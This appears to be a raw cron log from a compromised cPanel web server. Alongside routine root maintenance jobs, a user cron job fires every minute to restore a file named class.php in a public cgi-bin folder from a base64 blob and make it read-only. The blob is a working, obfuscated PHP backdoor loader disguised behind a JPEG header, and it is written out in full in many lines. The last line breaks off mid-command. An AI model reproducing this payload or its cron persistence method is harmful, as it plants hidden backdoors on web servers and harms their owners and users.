Aug 31 00:51:01 server CROND[14566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:52:01 server CROND[14693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:52:01 server CROND[14695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:52:01 server CROND[14694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:53:01 server CROND[14832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:53:01 server CROND[14833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:53:01 server CROND[14835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:54:01 server CROND[14971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:54:01 server CROND[14972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:54:01 server CROND[14973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:55:01 server CROND[15109]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:55:01 server CROND[15113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:55:01 server CROND[15114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:55:01 server CROND[15118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:55:01 server CROND[15119]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:55:01 server CROND[15115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:55:01 server CROND[15121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:56:01 server CROND[15773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:56:01 server CROND[15774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:56:01 server CROND[15775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:57:01 server CROND[15901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:57:01 server CROND[15900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:57:01 server CROND[15902]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 00:57:01 server CROND[15903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:58:01 server CROND[16178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:58:01 server CROND[16179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:58:01 server CROND[16180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:59:01 server CROND[16546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:59:01 server CROND[16547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:59:01 server CROND[16548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:00:01 server CROND[16923]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 01:00:01 server CROND[16925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:00:01 server CROND[16928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:00:01 server CROND[16929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:00:01 server CROND[16930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:00:01 server CROND[16932]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:00:01 server CROND[16931]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:00:01 server CROND[16933]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:00:01 server CROND[16934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:01:01 server CROND[17851]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 01:01:01 server CROND[17852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:01:01 server CROND[17854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:01:01 server CROND[17853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:01:01 server run-parts(/etc/cron.hourly)[17851]: starting 0anacron
Aug 31 01:01:01 server anacron[17871]: Anacron started on 2026-08-31
Aug 31 01:01:01 server anacron[17871]: Normal exit (0 jobs run)
Aug 31 01:01:01 server run-parts(/etc/cron.hourly)[17875]: finished 0anacron
Aug 31 01:02:01 server CROND[18233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:02:01 server CROND[18234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:02:01 server CROND[18235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:03:01 server CROND[18612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:03:01 server CROND[18613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:03:01 server CROND[18614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 